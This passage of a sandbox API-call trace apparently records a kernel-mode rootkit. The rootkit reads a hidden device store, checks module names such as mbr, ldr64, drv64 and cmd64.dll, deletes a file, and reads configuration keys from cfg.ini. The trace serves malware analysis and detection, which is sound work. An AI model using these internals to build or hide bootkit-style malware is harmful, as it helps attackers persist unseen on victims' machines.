(lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.034] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.034] KeEnterCriticalRegion () [0123.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.034] IdePortDispatch () returned 0x103 [0123.034] KeWaitForMutexObject () returned 0x0 [0123.034] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.034] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.034] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.034] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.034] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.034] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.034] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.034] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.034] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.034] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.034] KeLeaveCriticalRegion () [0123.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.034] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.034] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.034] KeEnterCriticalRegion () [0123.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.034] IdePortDispatch () returned 0x103 [0123.035] KeWaitForMutexObject () returned 0x0 [0123.035] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.035] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.035] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.035] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.035] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.035] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.035] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.035] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.035] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.035] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.035] KeLeaveCriticalRegion () [0123.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.035] ReleaseMutex (hMutex=0x100) returned 1 [0123.035] Sleep (dwMilliseconds=0x2bf20) [0123.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c881470, dwHighDateTime=0x1d24fa4)) [0123.042] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.042] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.042] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.042] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.042] KeEnterCriticalRegion () [0123.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.042] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.042] IdePortDispatch () returned 0x103 [0123.042] KeWaitForMutexObject () returned 0x0 [0123.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.043] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.043] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.043] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.043] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.043] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038259f0 [0123.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.043] KeLeaveCriticalRegion () [0123.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.043] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.043] KeEnterCriticalRegion () [0123.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.043] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.043] KeLeaveCriticalRegion () [0123.043] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.043] KeEnterCriticalRegion () [0123.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.043] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.043] IdePortDispatch () returned 0x103 [0123.043] KeWaitForMutexObject () returned 0x0 [0123.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.043] KeLeaveCriticalRegion () [0123.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.043] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.043] KeEnterCriticalRegion () [0123.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9c000 [0123.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.044] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.044] IdePortDispatch () returned 0x103 [0123.044] KeWaitForMutexObject () returned 0x0 [0123.044] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.044] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.044] IdePortDispatch () returned 0x103 [0123.044] KeWaitForMutexObject () returned 0x0 [0123.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.044] KeLeaveCriticalRegion () [0123.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.045] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.045] KeEnterCriticalRegion () [0123.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] KeLeaveCriticalRegion () [0123.045] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.045] KeEnterCriticalRegion () [0123.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.045] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] KeLeaveCriticalRegion () [0123.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.045] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.045] KeEnterCriticalRegion () [0123.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] ExFreePoolWithTag (P=0xfffffa80038259f0, Tag=0x0) [0123.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] KeLeaveCriticalRegion () [0123.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.045] ReleaseMutex (hMutex=0xf0) returned 1 [0123.045] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.051] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.051] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.051] KeEnterCriticalRegion () [0123.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.051] IdePortDispatch () returned 0x103 [0123.051] KeWaitForMutexObject () returned 0x0 [0123.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.051] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.051] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.051] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.052] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.052] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9fb0 [0123.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.052] KeLeaveCriticalRegion () [0123.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.052] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.052] KeEnterCriticalRegion () [0123.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.052] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.052] KeLeaveCriticalRegion () [0123.052] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.052] KeEnterCriticalRegion () [0123.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.052] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.052] IdePortDispatch () returned 0x103 [0123.052] KeWaitForMutexObject () returned 0x0 [0123.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.052] KeLeaveCriticalRegion () [0123.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.052] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.052] KeEnterCriticalRegion () [0123.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9f000 [0123.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.052] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.052] IdePortDispatch () returned 0x103 [0123.052] KeWaitForMutexObject () returned 0x0 [0123.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.053] IdePortDispatch () returned 0x103 [0123.053] KeWaitForMutexObject () returned 0x0 [0123.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.053] KeLeaveCriticalRegion () [0123.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.053] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.053] KeEnterCriticalRegion () [0123.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.053] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.053] KeLeaveCriticalRegion () [0123.054] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.054] KeEnterCriticalRegion () [0123.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.054] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.054] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.054] KeLeaveCriticalRegion () [0123.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.054] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.054] KeEnterCriticalRegion () [0123.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.054] ExFreePoolWithTag (P=0xfffffa8003be9fb0, Tag=0x0) [0123.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.054] KeLeaveCriticalRegion () [0123.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.054] ReleaseMutex (hMutex=0xf0) returned 1 [0123.054] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.054] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.054] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.054] KeEnterCriticalRegion () [0123.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.054] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.054] IdePortDispatch () returned 0x103 [0123.054] KeWaitForMutexObject () returned 0x0 [0123.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.054] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.054] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.054] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.054] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.054] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbed10 [0123.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.054] KeLeaveCriticalRegion () [0123.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.054] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.054] KeEnterCriticalRegion () [0123.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.055] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.055] KeLeaveCriticalRegion () [0123.055] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.055] KeEnterCriticalRegion () [0123.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.055] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.055] IdePortDispatch () returned 0x103 [0123.055] KeWaitForMutexObject () returned 0x0 [0123.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.055] KeLeaveCriticalRegion () [0123.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.055] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.055] KeEnterCriticalRegion () [0123.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da0000 [0123.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.055] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.055] IdePortDispatch () returned 0x103 